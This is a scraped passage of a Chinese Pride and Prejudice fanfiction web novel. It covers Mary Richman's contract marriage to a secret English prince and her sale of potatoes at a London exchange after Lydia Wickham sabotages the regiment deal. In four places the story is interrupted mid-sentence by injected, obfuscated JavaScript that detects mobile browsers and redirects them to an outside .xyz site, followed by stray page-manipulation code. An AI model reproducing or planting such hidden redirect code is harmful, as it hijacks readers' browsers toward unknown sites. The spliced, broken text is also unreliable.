结果婚礼的时间没到，赶着过来的人先看到了好几辆精致的豪华马车。虽然那马车上都没有家族徽章，但看车夫的打扮，再看护在周围的骑士们，也能看出来来人们的身份不一般。 这下，大家更好奇了。 菲茨威廉·达西护着未婚妻，也在人群中。今年他又租下了尼日斐庄园，就为了婚前这段时间未婚妻来这里举办聚会。 朗伯恩是她的家，但不是朗伯恩的每个人都会去德比郡参加婚礼的。那么这些人就去尼日斐庄园参加舞会，就算是提前祝贺。 等再过几天，他会先回德比郡准备，到时候查尔斯护着班纳特一家过去。 只是没想到，前两天刚见过的那位小姐，居然就这么结婚了。班纳特一家还因为这场突然的婚礼，闹起了矛盾。 “威廉，你看得出来吗？”伊丽莎白看着马车过去，问起了自己的未婚夫。 “我只看出来对方不简单，甚至不只是有钱。”或许还有权，这句话他没有说出来，只因为不能确定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723182|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达西不止看马车，也看那些骑士们。 普通的有钱人家根本不会有这么大的阵仗，只有那些贵族们喜欢这样来。看看骑士们□□的骏马吧，每一匹都足够健壮地去参加赛马！ 往年，他有幸去过德文郡公爵在德比郡的祖宅查茨沃斯庄园。公爵府里的马厩养的马，差不多是这样。但在数量上，眼前过去的那些就已经超过了他曾经见到的。 显然，这不可能是里奇曼小姐的客人。那么，来人们只可能是她准丈夫那边的来宾。 和教堂外面的热闹不一样，教堂里的休息室安静且没有人打扰。玛丽·里奇曼正坐在里面发呆，就在刚刚，她在那份结婚合同上签了自己的名字。 她即将成为艾提斯太太，就在两人认识的第11天。如果那天在伦敦的初次见面不算的话，其实就认识了3天，今天才是第4天！ 玛丽知道自己冲动了，但艾提斯先生说了他的家庭，说了他的来历，也明确说了他需要妻子的理由。两人各自的要求都在结婚合同上写得明明白白的，她上当受骗的几率很小。 即便最终还是被骗了，她也可以提出离婚的。合同里，这一点也有加上。 所以，没什么好担心的。 一切只是这几天事情太多，变化太快，她有点适应不过来。玛丽这么想着，也觉得自己这些年过得太平静。现在一出现点波折，就容易多想。 想过了，就继续往前走。她只是结个婚，多了一个名义上的丈夫，其他的，都不会有所改变。 以后，她还会生活在朗伯恩，靠着自己的手艺和200英亩土地过下去。 没错，就是这样。 “玛丽，我是贝茜，我能进来吗？”贝茜和茉莉都在忙完了后出去，但这会儿，她必须要进来说说自己看到的事。 “进来吧，贝茜。”玛丽一个人待的时间足够了，她也确定自己不会反悔，所以就让人进来。 但在听完了贝茜的话后，玛丽的内心又开始动摇。 艾提斯先生没说他今天会请客人来，什么样的客人会有18骑士护送？她没有见过，甚至都没有听说过。 “你帮我去叫一下艾提斯先生。”婚礼还没有开始，玛丽还有时间问清楚。 贝茜点头出去，才出门，她就看到了艾提斯先生带着两位年轻的小姐过来了。 “艾提斯先生——” “我知道，我正要去说。”奥克塔维厄斯也没想到，他的两个亲妹妹会愿意过来。 他是前天和里奇曼小姐确定下结婚的事，当时从伦敦回来就订好了今天结婚。期间，他也把自己要结婚的消息传了回去。 “这是我的妹妹们，阿米莉亚和安妮。”见到了自己的准新娘，奥克塔维厄斯都没时间欣赏她的美。里奇曼小姐脸上的表情很明显，她有很多问题。而他，必须要回答。 “你们好，我是玛丽，欢迎你们的到来。”玛丽见到了长得很相似的那对姐妹花，她没空观察两人，只想找艾提斯先生私下里说。 明眼人都看得出来，他的妹妹们不是一般人。从穿着到打扮，从神情到仪态，她们无一不在说明着她们的不同。 妹妹们都这样了，身为她们的哥哥，艾提斯先生怎么会是一个简单的人？至少不会是他自己说的，一个为了自由专门跟他父亲对着来的人。 这其中，肯定还有很多省略的地方。 玛丽不可能带着这些疑问，走上教堂。 8. 第 8 章 好吧，这确实要说好。 让妹妹们出去等，奥克塔维厄斯关上了门，转过身来重新面对自己未来的妻子。 “里奇曼小姐，如你所见，我的家庭挺大的。我之前说过，我有两个哥哥，5个姐姐，还有外面那两位妹妹。”前面的哥哥姐姐们都是他父亲的第一位妻子所生，他和他的妹妹们是第二位妻子生的，“生下安妮后，我的母亲就出现了产后并发症，没能救过来。” 那一年，奥克塔维厄斯才3岁不到，什么都不懂。而他最大的姐姐已经11岁，哥哥也满了7岁。 “我和家里的关系不好，也没有继承权，所以就早早地自己出来了。你看到的我的妹妹们，我那强势的父亲不肯放手，她们只能继续依附着他。” “里奇曼小姐，我父亲他确实有家产，但那都不是我的。你放心，阿米莉亚和安妮只是来参加我的婚礼，她们之后就会离开。如果你不想进一步认识，完全可以把她们只当做是两个好奇的客人。” 除了没说父亲的身份，奥克塔维厄斯都说了。他这不算是欺骗，顶多算是没有全部说出来。里奇曼小姐不用担心的，她未来的生活不会被打乱。 “你确定你家里的其他人不会没事做了以后，就突然跑到朗伯恩来？我不接受一个或者多个陌生人冒出来，来指责我，甚至是来教训我。”玛丽这话说得不客气，但丑话还是说在前头比较好。 “如果有这么一个人或多个人冒出来，我支持你反击回去。当然，前提是你能保证你会成功。”奥克塔维厄斯笑了，里奇曼小姐又有点不一样了。她刚才说话的口气是强硬的，也是不容反驳的。 虽然和之前了解到的有点差别，但这样的性格才能好好活着，才不会被欺负。 “既然你都这么说了，我想这场婚礼是可以继续的。”玛丽不是怕事的人，她怕的是无底洞和永远无法摆脱的胡搅蛮缠。 之前，她在明知道里奇曼先生的亏本后，她做的只是打好自己的基础。在确保赚点小钱后，她愿意拿出每年的800英镑让里奇曼先生试错。 现在同样，既然艾提斯先生都说了可以反击，那么玛丽会确保对方的到来是一次性的。 她需要一个丈夫，里奇曼先生离开后，她就不会满足于每年800英镑的收入。有了这个丈夫，她能做更多的事情。 为此，玛丽愿意小小地应付一下未来丈夫家里可能出现的人。既然对方都不受欢迎了，那么怎么驱赶，她说了算！ “非常感谢！对了，我还没有赞美我的新娘，您今天看上去非常耀眼。”得到了肯定的答复，奥克塔维厄斯在放心之余，总算能好好看看自己的新娘。 即便这是位名义上的新娘，可里奇曼小姐一点没有敷衍。她没有再穿那些再普通不过的裙子，而是换上了一条精致的银色缎面裙。 她戴上了珍珠项链，戴上了珍珠耳环，连梳好的发型上都坠着一颗颗珍珠。 “怎么说都是我的婚礼，我要对得起我自己。顺便说一下，我未来的丈夫很迷人，一会儿肯定会迷倒一群人。”好听话谁不会说，玛丽也恭维了回去。 事实上，艾提斯先生确实不错。如果她是人靠衣装，那么这位先生穿什么都不会错。他身上的晨礼服挺荣幸的，能被今天的他选中。 “真遗憾，这其中没有我的新娘。”奥克塔维厄斯看得出来，他的新娘并没有被他迷倒。 “请继续努力。”玛丽不是没有感觉，只是她看过太多惊艳的人，有一定的免疫性。目前她未来的丈夫只能说让人印象深刻，但要迷倒她，需要时间和契机。 而这桩名义婚姻，缺的就是这些。 点了一下头，奥克塔维厄斯开门出去。 “时间快要到了，我先过去等你。”谁都知道两人说的话不是认真的，关上门后的男人停顿了一下，随即把心里的那点遗憾遗忘在角落。 不否认，今天的里奇曼小姐确实不太一样。 她穿上了银白色的礼服，不再是个小村庄的女孩。戴上了全套珍珠首饰的她，看起来就像是一朵被人捧在手心里盛开的百合。她不是贵族小姐，却在那一刻比谁都像是教养得体的尊贵的小姐！ “哥哥，你真要娶她吗？”早早来到教堂等待的阿米莉亚公主和安妮公主看到了哥哥，当然要做最后的确定。 谁都知道，作为英格兰国王的儿子，他们的婚姻都是不能自主的。如果是在25岁以前结婚，那么就必须要经过国王的认同，否则婚姻无效。即便是结了婚，女方也不会被承认为公爵夫人，所生下的子女都是私生子女！ 满了25岁以后，国王不同意的话，还可以提前一年向国会提交结婚申请。如果12个月后国会没有人反对的，这桩婚事才会被承认。 两位公主都不知道她们的哥哥是怎么说服父亲同意的，但娶一个乡下女孩？他是想让王室被人嘲笑吗？一旦这件事成了，以后她们这些没结婚的公主们就不可能找到身份匹配的丈夫！ “当然，父亲答应我的。好了，别想这么多，既然来了，就做一下见证人。回去了，也好告诉我亲爱的哥哥姐姐们，让这些人都好好笑话我。”奥克塔维厄斯知道这场婚礼代表着什么，除了他的父亲不太满意外，大多数人都会满意的。 那些人会非常乐意见到他娶一个不是公主身份的妻子，这样对人来说，他才更没有了威胁性。 “可是，这不公平——”安妮公主当然知道哥哥的处境，可她和姐姐一点忙都帮不上。 “没什么公平不公平的，我觉得这样也挺好。去吧，我得过去等我的新娘了。”那可是英格兰的王位，换了他，他也不会心软的。可惜他当时年纪小，没有能力反抗。 再后面，什么都来不及了。 奥克塔维厄斯已经从王位的第三顺位继承人，变成了第四顺位。因为去年初，威尔士亲王的女儿出生。 这些都是不能改变的事，他能改变的也仅仅是靠着别人的打击，换回来婚姻的自主。结了婚以后，那些人也该彻底放心了。因为他的妻子不是公主，她甚至不知道他究竟是谁。 “有请新人就位。”驻堂牧师换上了自己最体面的那件长袍，这还是他第一回为人主持婚事呢！以前在别的地方，都轮不到他。 朗伯恩的小教堂里，坐了还不到10个人。男方那边是他的妹妹们，女方这边只有贝茜、茉莉和老约翰他们。 玛丽走到未来的丈夫身边，两人变成了面对面。她看着艾提斯先生，对方似乎在走神？ 也是，套话说得再好听，也没有用啊。谁的婚姻是靠着上帝维持下去的，还不如一纸合同呢。但流程还是要走的，为了婚姻的合法性。 玛丽眨了一下眼睛，正式对上了艾提斯先生的目光。这下好了，他该回神了。 奥克塔维厄斯没明白已经成为他妻子的里奇曼小姐的意思，刚才怎么回事？ “没什么，我多看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723183|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一眼。”仪式结束了，玛丽·里奇曼还是一个里奇曼，只是以后也可以被称呼为“艾提斯太太”，“我就不过去了，我得去换下这身裙子。” 这条裙子得来不易，她要好好珍惜。 “行，我先去送走她们。”奥克塔维厄斯当然不信这个说辞，但也没有纠缠。他看着人走向休息室后，就走到了妹妹们身边。 “她不想认识我们吗？”安妮公主简直没见过这样的人，才结婚，居然有人不想和另一边的至亲好好说说话的！ “我们说好的，我们的婚姻只是两个人的事，尽量不牵扯家庭。”给出一个理由后，奥克塔维厄斯看向阿米莉亚，“早点回去吧，我们没有准备婚宴。” 阿米莉亚公主拉着有意见的妹妹走了，既然事情已经这样，说什么都没有用。她们帮不上忙，也不会捣乱。 等人走了，休息室那边的门也打开来。 玛丽换回了更舒适的裙子，头上身上的珍珠首饰也都摘下来了。努力这么多年，这套首饰和裙子是她自己看上买回来的。原本以为用不到，没想到这么快就派上了用场。 挺好的，都不用费心另外准备。 “你的妹妹们回去了？” “嗯，趁着她们的离开引走了大部分的人，我们也走吧。”奥克塔维厄斯站在小教堂的窗边不远，看到了人群在跟着车队走。 坐上马车，尽管路边还有好奇的人在张望，一行人还是顺利回到了里奇曼家。 婚礼结束了，接下来呢？ 玛丽早就知道她的丈夫是要离开的，那么什么时候走？嗯，现在问出来的话，多少有点着急了，她再忍忍。 “你们自便，我上去休息一会儿。” 管家威廉看着客厅里只剩下殿下一人，多少觉得他可怜。 “先生，我们还是按计划明天走吗？”叫不了“殿下”，叫不了“大人”，胖管家就改叫“先生”。 “嗯，到时候留两个仆人下来。她一个人生活在这里，我不太放心。”奥克塔维厄斯很明白里奇曼小姐需要丈夫的理由，既然他有了妻子，那么保证一下妻子的安全，他还是能做到的。 “我会安排好的。”这不难。 当天的午餐，胖管家又整出了排面。 “今天您两位结婚的日子，总是要庆祝一下。”没有亲朋好友的婚宴，自己总要吃得好一些。 对此，玛丽没有反对。因为就在刚刚，她亲爱的丈夫告诉她说，他明天就要离开！ 这真是太好了，确实值得庆祝。 “那就祝我们的婚姻顺利，以后都能得到自己想要的。”玛丽先举了杯。 “祝我们的婚姻顺利，也祝我们都能得到我们想要的。”奥克塔维厄斯举起手边的酒杯，觉得这个祝词不错。要是能实现的话，那就更好了！ 两人笑了笑，一起喝下了这杯酒。 第二天，酒醒的玛丽起来，才得知她的新婚丈夫已经离开了。啧，居然比她还急？也好，这样不拖泥带水的，才是她想要的婚姻。 就是有一点失算了，她居然不能喝酒？行吧，以后不沾就是。 既然已经结了婚，那下面该处理刚收上来的1万蒲式耳土豆。自留一些后，其他的都要拉去给军团。给军团的价当然没有市面上的每蒲式耳3先令那么多，最多给到2先令2个便士！ “什么叫做军团不需要了？”亲自来到梅里顿的驻军处，玛丽被拒之门外。 9. 第 9 章 经营了这么几年，她好不容易和这里的军需官达成了一致，怎么就变卦了呢？ 之前因为里奇曼先生跑路的事，玛丽已经派人来说过，收上来的土豆是需要尽快交接的。当时，这边还答应得好好的。 这对她来说是好事，对军需官来说也是好事。 别以为玛丽不知道，梅里顿的驻军团里常年人口只有不到100人。这土豆就算是天天吃顿顿吃，一年也用不了1500蒲式耳。剩下的，军需官都会以市面价卖出去，赚一手差价。 突然之间不要了，差价不想赚了吗？ 按照往年的土豆成交价每蒲式耳2先令2便士算，这回送来的量一共6500蒲式耳，去零后就是700英镑！除去军团自己消耗1500蒲式耳，还剩下5000蒲式耳都可以拿去转卖。 市场价的土豆卖个每蒲式耳3先令是很轻松的，这就是一笔750英镑的进账！ 这么一算，差价50英镑赚到了，军团一年的免费土豆也有了，有什么不好的吗？ “能帮我叫一下理查德先生吗？土豆不要了，再过两个月，猪也不要了吗？还有，这3天一送的鸡蛋还要不要，我要跟理查德先生确认一下。”眼前的人只是个传话的，玛丽之前没有见过他，她要见能做主的人。 “很抱歉，我们少尉这几天不在。”驻军处门口，士兵很好地履行了上级的命令。他不会放人进去，也不会放任何一车土豆进去！ “既然理查德先生不在，你们这里还有谁能做主吗？我带来了这么多东西，这要是再拉回去，就太不方便了。你们确定不要的，我就直接运去伦敦了。”虽然要付一些税，但她的土豆也不是没人要。 玛丽最初选择卖给军团，就是图距离近，还能免一部分税。 这要是6500蒲式耳土豆都卖给伦敦的商人，她起码能卖上2先令8个便士，也就是866英镑！扣除税，再减去运输成本和损耗，纯利润700英镑也是有的。 要是不怕麻烦的，还可以直接拉到伦敦交易所进行拍卖。最近一段时间，听说那里高品质的土豆起拍价就是每蒲式耳3先令！最后的成交价，往往可以来到4先令甚至是更高！ 当然，这仅限于每单2000蒲式耳以上的大宗交易，还得是品质好的才行。 里奇曼家的50英亩土地今年虽然收成了1万蒲式耳土豆，但品质却不是最好的。最好的，都已经装在马车上。 “我们不要了，你拉走吧。”士兵很坚持，玛丽也不再强求。 梅里顿这么多人看着呢，她租了30辆运货马车，原本是打算当天运完的。这么大的阵仗，每年都来一次，附近的人都知道是怎么一回事。军团不要，那她就自行处理了。 “行，我拉走了。出了事情，我想理查德先生知道该找谁。”现在还是上午，玛丽来得及去一趟伦敦。 交易所能不能去随缘，但代理人还是可以找一下的，她的合作对象又不是只有军团。 1万蒲式耳的土豆交了1000蒲式耳什一税后，还剩下9000蒲式耳。 原本打算6500蒲式耳给军团，自留1000蒲式耳，余下的1500蒲式耳就一口气都给伦敦的商人，也能卖个税前200英镑。换成以前收成没这么好的时候，可卖不到现在这个价。 玛丽让运输车队换了个方向，往伦敦走。她的马车先行，先过去提前谈好交易。这样一来等车队到了，直接卸货就成。 整整30辆重型马车，就算是要离开，也需要一段时间。梅里顿的人就这么看着，大家也好奇是怎么一回事。 以前的里奇曼小姐现在的艾提斯太太谁不认识，她的父亲把私人银行抵押出去后，人就跑不见了。才几天过去，这位小姐就找了人结了婚，大家还在议论她那位神秘的丈夫呢。 毕竟昨天的婚礼上，所有人的目光都放在了那几辆豪华马车和骑士们身上！等回头要去看新郎的时候，新人们已经离开了教堂。 本来以为刚结婚的两人会甜甜蜜蜜出去旅行，结果听说今天一早的时候，那位先生已经离开了朗伯恩。这个消息知道的人不多，但现在看新上任的艾提斯太太就这么出门忙碌，事情应该是真的。 难道说，昨晚两人相处不愉快吗？ “玛丽，你看到了吧，我说过我能做到的。”人群里，莉迪亚·威克汉姆用身体轻轻撞了撞自己正失神的姐姐，“现在里奇曼家的土豆军团不要了，她就算能在伦敦卖掉，也会损失很多运费。” “只要乔治还是梅里顿军团的中尉，她家不管是土豆还是别的，都别想卖给军团！好了，现在你满意了，也出气了吧？”莉迪亚手一伸，掌心朝上，“给我吧。” 事先可是说好的，只要她阻止了里奇曼家和军团的交易，那么玛丽就要把今年自己存下来的零花钱全部给她！ 那可是整整5英镑呢，能买一顶不错的帽子。 “给你！”玛丽直接将身上带的钱包丢了出去，没有了钱，她也不能买想买的装饰品了。但没有关系，简和丽兹总有剩下的，到时候借用她们的就行。 “你生什么气？不是听说那位艾提斯先生已经离开了吗？肯定是两人昨晚闹了不愉快！你想啊，里奇曼平时连舞会都不参加，尤其是没参加去年在尼日斐庄园的舞会。她呀，肯定不知道那些讨男人欢心的技巧。” “要我说，这个婚事迟早是要散的。”所以，玛丽还有机会，“你也看到了昨天出现的豪华马车和骑士们，对方一定是个有钱人。你就牢牢地盯住里奇曼家，等人回来了，你不要错过。” “可他已经结婚了。”玛丽·班纳特很心动，但心里还有一点障碍在。 “结婚了又怎么样？威尔士亲王不还带着情人在身边吗？德文郡公爵更是让妻子和情人连带着3人的孩子一起住，不也好好的？玛丽，别想这么多，抢到手才是最重要的！” “你看我现在成为了威克汉姆太太，一个中尉的妻子，都能让里奇曼白来一趟了。”多好的事情啊，莉迪亚都快爱上了这个感觉。她只需要以威克汉姆太太的身份说几句话，事情就办好了。 “知道了，快去挑你喜欢的帽子吧。”玛丽还需要好好想想，但她得承认，刚才看着里奇曼匆匆离去，她还是很开心的。 离开的玛丽一路颠簸后，很快就来到了伦敦繁忙的谷物交易所——马克巷，这里也是小麦、土豆等物的拍卖场所。 她没有进去那老楼里面，因为等着的买方和卖方人太多了，她只让认识中间人的老约翰进去找人。 等了差不多20分钟，人来了。 “你好，亨特尔先生。” “里奇曼小姐，我就想着你今年也差不多过来了。怎么样，今年的品质还和以前一样吗？”满头银发的中介没看到运货的马车，有点奇怪。 “今年的品质总体比去年好一些，亨特尔先生，最新的成交价怎么样？”玛丽知道这位先生在奇怪她没带着货物来，“都在后面呢，我坐马车比较快。” “去年你的货物，今年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723184|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都能卖到3先令2便士到8便士之间。你这回带来的品质更好一些，卖到3先令5便士肯定是没有问题的。也是你带来的货物太少了，都凑不到一单，不然这个价我还能帮你喊高点。”这里的一单是指2000蒲式耳。 虽然少，但中介从来不会嫌弃货物不够。反正他都是按交易额来抽佣的，小额的抽2%，也是好几英镑。 “亨特尔先生，这回我带来的也不算少，这第一批应该有6500蒲式耳。”后面的，还有1500蒲式耳。 知道了最新的行情，玛丽明白自家的土豆只会更加值钱！ “哦，里奇曼小姐，你总算是愿意从赫特福德郡走出来了！”第一批居然就有6500蒲式耳，这要是都检测过关的，可以直接上拍卖场！ 亨特尔先生今天还没开张呢，他得问得更详细一点。等货物一运到，他就安排人去检测。 “品质方面你放心，那些本来是给军团的，都是挑最好的。”玛丽回答得也很细致，“这回要再次麻烦你了，亨特尔先生。” “包在我身上！”品质居然还要好？那卖个3先令10便士更不是事！ 想想吧，上来就是3单，这6000蒲式耳平均卖个3先令8便士肯定是有的，加起来那就是1100英镑的成交额。只要成交了，他就能拿22英镑的佣金！ “里奇曼小姐，剩下的1500蒲式耳赶紧运过来，正好再凑一单！”也好让他再拿7英镑。 要是卖得好了，他靠着这位小姐就能收入超30英镑！ “好，等这边卸下一部分后，我让人赶紧回去把剩下的也运过来。”既然亨特尔先生这么有信心，玛丽也就放心了。 能上拍卖场，还是上拍卖场吧，毕竟成交额高。即便手续费也高，但总比直接卖给军团好。 又是半个小时过去，30辆重型运货马车终于能看到一个头。 亨特尔先生已经叫来了交易所的人，先往那边跑去。他得亲眼看到实物，才好作出评估。 10月午后的伦敦没有一点太阳，玛丽站在马车旁，等着人来到面前。这里已经挤了太多人，她还是不要乱走动了，免得到时候挤不进来。 马克巷的拍卖会一般在中午开始，偶尔有品质好的货物也会临时加场。 “一级货！没有瑕疵！基本直径大于3英寸！一级货！一级货！”玛丽听着亨特尔先生的喊声，也看到了周围人很快围了过去。 之后，所有的手续都是加急办理的。她带来的6500蒲式耳土豆被分别抽检后，交易所的工作人员已经带着样品去到了中央的拍卖台！ “先生们先生们！现在我们即将要拍卖的是2000蒲式耳的土豆，一级货！已验证，是一级货！没有瑕疵的一级货！” 拍卖师手里举着土豆，绕场一周。 “按照规定，一级货的起拍价自动上浮20%，就是每蒲式耳3先令7便士！有意向的买家，请有意向的买家尽快出价！” 呼——起拍价就是这么多，玛丽已经不在乎最后的成交价是多少了。没有将这些土豆留在梅里顿，真是一件好事。 这些年来，那位理查德先生一直说自己是以3先令的价格转卖的，可见这其中的水分有多大。但没有关系，以后这个钱她自己赚。 要是早知道是这个价格的，她估计早就心动了。但也只是心动，并不会采取行动。毕竟赚得多，填进去的也多。 当第一单以3先令10便士的价格成交时，玛丽笑出了真心。 10. 第 10 章 之后两单的成交速度更快，都是以3先令11便士的单价拍卖出去的。第3单直接卖了2500蒲式耳，亨特尔先生没把那500蒲式耳留到明天去。至于还没运来的那些，到了再说。 拍卖结束，办理手续。 交易所的单子很少用现金结算，所以玛丽拿到了3张汇票。汇票上的金额和交易所记录的拍卖成交额是分毫不差的，精确到了便士。 这3单的成交额分别是383英镑6先令8便士、391英镑13先令4便士和489英镑11先令8便士。 总共6500蒲式耳土豆成交了1264英镑11先令8便士，算利润的话，还得减去支出部分。 交易所的卖方手续费1%，给亨特尔先生的佣金2%，汇票兑现手续费1%。除此之外，还要加上之前的3单抽检费用3英镑，飙升的运输费72英镑。如果只运到梅里顿的话，15英镑就够了。 加加减减后，这一趟玛丽的纯收入直接来到了1139英镑，远远超过了之前卖给军团的700英镑！ “太谢谢你了，亨特尔先生。”剩下的1500蒲式耳土豆只能明天运过来。 “这是我应该做的。”一下午就赚到了25英镑多，亨特尔先生只觉得自己还能更忙一点。可惜，今天天晚了，交易所也要关门。 “那我们明天见。”玛丽带上自己人，多租了一辆驿站的马车回去。 回到朗伯恩，天早就黑了。一行人的归来不但没惊动这个小村庄，也没有在梅里顿引起多少动静。 第二天一早，休息好的大家又带着剩下的土豆前往伦敦。这一回用不着30辆重型的运货马车了，直接普通装货马车就行。 目标小，梅里顿就算是有人看到了，也就多看几眼，根本不会多想。 等到军团负责后勤的少尉理查德知道昨天发生的事情后，他急急赶到朗伯恩，可惜已经晚了！里奇曼家只有一个女仆和一个长工在，其他人早就带着货物去了伦敦！ 那可是转手就能赚400多英镑的好买卖啊，就这么没了？！ 不，这比他两年的收入还要多，他不能就这么看着钱从眼前消失！ 理查德骑着马，他没有回去梅里顿，而是去了村庄的另一头。士兵说了，这件事就是威克汉姆中尉的妻子让他这么做的。 哼，军团里谁不知道这场婚姻是怎么一回事，也就刚来的士兵不清楚！ 乔治·威克汉姆都要被调往北方的纽卡斯尔了，他在梅里顿根本就丧失了话语权！他的话都不管用了，他妻子说的又算得了什么？ 反正人迟早是要走的，走了以后更没有调回来的可能。既然这样，他损失的钱就让威克汉姆一家来赔偿吧。 至于里奇曼小姐，哦不，现在是艾提斯太太。等她回来了，理查德得好好跟人说说，跟军团交易才是最稳最保险的。别看货物运去伦敦能赚得更多，但付出的运输费也多，还有这一路上的风险呢！ 所以啊，还是跟军团交易最好。 完全不知道家里有人来，玛丽将运到伦敦的1500蒲式耳土豆迅速卖掉。这回不到一单，也就没上拍卖台。加上这批都是挑剩下的，品质当然比不上昨天的好，所以价格也低了一些，只有3先令5便士。 成交价256英镑5先令减去各项支出后，玛丽今天收入225英镑。 今年土豆的收益完全超出了预期，直接来到了1364英镑！这样下去，新的一个财年，她年收入突破2000英镑都不是问题。 哦，2000英镑不正是乡绅班纳特家的年收入吗？赶上了这一家后，下一个目标就是宾利先生了。 给自己定下了小目标，玛丽告别了同样高兴的亨特尔先生。之后，她就去了两家合作的商店转转。 肥皂是家家户户的必需品，她暂时做不了高端的品质，就只能以价格优势占据市场。这样一来，自己的小作坊就不够看。 玛丽已经准备采购设备，通过批量制作来近一步降低成本。只要价格够低，销路根本不用愁。单单伦敦一个城市，就有百万人口，这其中，有多少人用得起进口皂呢？ 同时，她还准备建个厂房，就在梅里顿靠近利河的地段，到附近的码头也不远。这要是肥皂厂建起来，以后可以直接通过内陆河运送到伦敦，土豆也是，能节省好多运费。 当然，事情要一步一步来，她先看看市面上的各种设备。 目前家里在用的就是最基础的木桶、煮油的锅、模具和晾晒的木架，都是最简单的东西。 要想提高产量，熬油脂的锅必须足够大，起码一锅熬个500磅成本才会足够低。还有皂化槽，普通的木桶肯定也是满足不了的，得加大加深才行。 目前的一块皂4盎司，玛丽自己一个人忙，一周也就做1000块左右。要是设备升了级，再有几个人帮忙，单单一个皂化槽就能出2000块皂。 时间成本省下来了，出货价即便是压到两个半便士，也还能赚到钱。 相应的，模具数量也要上来。这一点，等回程经过梅里顿的时候找木匠定制就行。 挑挑拣拣地，最后玛丽在二手市场找到了自己想要的铜熔锅和铅衬槽。看着是旧了点，但还能用。这买回去总是要试试看的，用旧东西不心疼。 别看这东西是旧的，加起来也要30英镑呢。加上合适的搅拌工具，又5英镑没有了。 “走吧，我们回去了。”今年剩下的时间里，玛丽应该不会再跑伦敦来。里奇曼先生和里奇曼太太不知道现在在哪里，希望两人身上带了足够的钱，去了别的地方也能好好生活下去。 回去的路上跟木匠定好了框架模具，也跟屠宰场预定了板油，一行人总算是回到了朗伯恩。 还没到家呢，喧闹的声音就从不远处传来。 玛丽看向马车外的声源处，一群人堵住了进出朗伯恩的唯一一条能通马车的路。她坐的马车已经慢了下来，茉莉下去看了。 单从几个声音分辨，莉迪亚·班纳特，不，是莉迪亚·威克汉姆！她太过年轻的声音还带着尖锐，想让人认不出来都难。 “……我没有错！我是你的妻子，你要帮我——” 虽然不知道前因后果，但玛丽听得出来，这位威克汉姆太太在和她的丈夫争论。至于为什么不是在班纳特家里而是堵在路上，这就让人挺好奇的。 之前，刚回来的人不一直在朗伯恩炫耀着她的婚姻吗？这么快就闹翻了？ 玛丽看那群人一时半会儿也不会让路，干脆就下了马车走过去。还没走近呢，已经看到了她的人都露出了不太正常的表情，就好像那对夫妇的事情是她引起的一样。 她有这么大能耐吗？尽管玛丽知道自己是无辜的，但她还是提起了十二万分的小心。 看热闹是会遭殃的，她得避免自己搭进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723185|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好吧，看来她是无法当没看见一样走过去了。没办法，主角团都发现了她，都盯着她呢！尤其那位莉迪亚，要不是班纳特太太拉着她，她估计会冲上来扯掉她的头发。 “借过一下，我回家。”因为不清楚事，玛丽不会主动提起。 “妈妈，你放开我！”莉迪亚一下子就提高了嗓门，看着人的神情更加凶狠，“里奇曼！你带着土豆去哪里了？你不知道军团就等着你送过去吗？” “现在好了，因为你送迟了货，我的丈夫被你连累了！”她一个使劲，班纳特太太没敢真用力，就把人放开了。 这一放，人就冲到了玛丽面前。 “抱歉，我不明白你的意思。还有，威克汉姆太太，别拿你的手指着我，这很不礼貌。”玛丽侧了一步，她不喜欢被人指着鼻子。 “哈，我不礼貌？我已经够礼貌的了！要不是因为你，我的丈夫怎么会被——”嗯！别捂着她。 会被什么？玛丽正听得认真呢，结果威克汉姆本人上前捂住了他妻子的嘴。 等了几秒，在场的人没有一个开口的，那就算了，她也不是很想知道。玛丽绕过主角团，继续往家里走。 是昨天的事情理查德先生知道了吗？会牵扯到威克汉姆，难道说这件事是他做的？原因是什么？ 理查德先生是军团里最低阶的少尉，他肯定不是主要负责军需这一块的人。但这位是玛丽能接触到的，双方合作还算是愉快。 